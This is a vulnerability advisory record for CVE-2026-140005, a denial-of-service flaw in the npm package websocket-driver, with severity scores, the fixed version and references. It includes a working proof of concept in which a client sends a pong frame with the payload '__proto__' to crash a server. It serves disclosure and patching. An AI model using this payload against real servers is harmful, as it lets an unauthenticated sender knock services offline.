{"id":"CVE-2026-140005","aliases":["GHSA-9g4r-f5gq-qjrr"],"url":"https://o3.security/vulnerability/CVE-2026-140005","summary":"websocket-driver: Denial of service triggered by client sending a single pong frame","details":"### Summary\n\nAn unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content.\n\n### Details\n\nThis library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below.\n\n### Proof of concept\n\nGiven a server running `websocket-driver`:\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet server = net.createServer((conn) => {\n  let driver = ws.server()\n\n  driver.on('connect', () => {\n    if (ws.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on('close', () => conn.end())\n  conn.pipe(driver.io).pipe(conn)\n})\n\nserver.listen(8000)\n```\n\nA client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash.\n\n```js\nconst net = require('net')\nconst ws = require('websocket-driver')\n\nlet driver = ws.client('ws://127.0.0.1:8000/')\nlet tcp = net.connect(8000, '127.0.0.1')\ntcp.pipe(driver.io).pipe(tcp)\n\ntcp.on('connect', () => {\n  driver.start()\n  driver.pong('__proto__')\n})\n```\n\nThe client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly.\n\n### Impact\n\nUsers running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.","published":"2026-11-30T21:29:24.739Z","modified":"2026-12-01T21:02:40.506478106Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00608,"percentile":0.50506,"asOf":"2026-12-01"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"websocket-driver","fixedVersion":"0.8.0"}],"fix":{"url":"https://github.com/faye/websocket-driver-node/commit/b47e6e50dd13535d4d44debe367361e3af39eb82","label":"faye/websocket-driver-node@b47e6e5"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140005.json"},{"type":"ADVISORY","url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-9g4r-f5gq-qjrr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140005"},{"type":"FIX","url":"https://github.com/faye/websocket-driver-node/commit/b47e6e50dd13535d4d44debe367361e3af39eb82"},{"type":"PACKAGE","url":"https://github.com/faye/websocket-driver-node"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-01T21:02:40.506478106Z"}}